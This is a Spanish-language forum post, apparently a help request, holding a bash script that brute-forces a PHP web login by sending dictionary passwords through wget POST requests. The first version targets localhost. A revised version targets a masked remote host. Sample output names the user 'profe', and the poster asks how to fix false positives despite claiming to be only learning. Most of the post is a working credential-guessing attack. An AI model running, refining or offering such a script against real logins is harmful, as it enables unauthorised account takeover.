Vale aclarar que esto solo lo hago para aprender más y, divertirme un poco.
No para hacer nada malo.
echo "Bruteforce attack!";
USUARIO=$1
DICCIONARIO=$2
LINEAS=`cat $DICCIONARIO | wc -l`
echo -e "User: $USUARIO\nReading: $DICCIONARIO"
i=0;
while read pass; do
i=$(($i+1));
# echo -n "[*] $pass: ";
if [[ "`wget --wait=30 --user-agent=Mozilla/5.0 --save-cookies cookies.txt -qO- --post-data \"nombre_equipo=$USUARIO&pass=$pass\" http://127.0.0.1/php/login.php`" =~ "no coinciden" ]];
then
echo -ne "[*] $i de $(($LINEAS-1)) \r";
else
echo "Found $pass"; exit;
fi
done < $DICCIONARIO
Salida:
sh brute.sh juan numeros.txt
Bruteforce attack!
User: profe
Reading: numeros.txt
[*] 7 de 293
El problema que tengo con esto es que a veces me tira "Falsos positivos" y es por el
wget es como que le "apuro" no recibe el paquete o algo,
¿Cómo podría solucionar esto?
Versión mejorada:
echo "Bruteforce attack!";
USUARIO=$1
DICCIONARIO=$2
LINEAS=`cat $DICCIONARIO | wc -l`
echo -e "User: $USUARIO\nReading: $DICCIONARIO"
i=0;
while read pass; do
i=$(($i+1));
#echo -n "[*] $pass: ";
if [[ "`wget --wait=30 --user-agent=Mozilla/5.0 --save-cookies cookies.txt -qO- --post-data \"nombre_equipo=$USUARIO&pass=$pass\" http://***.***/php/login.php`" =~ "no coinciden" ]];
then
echo -ne "[*] $i de $(($LINEAS)) \r";
else
echo "(False positive?) Found $pass";
fi
done < $DICCIONARIO
Gracias, Saludos!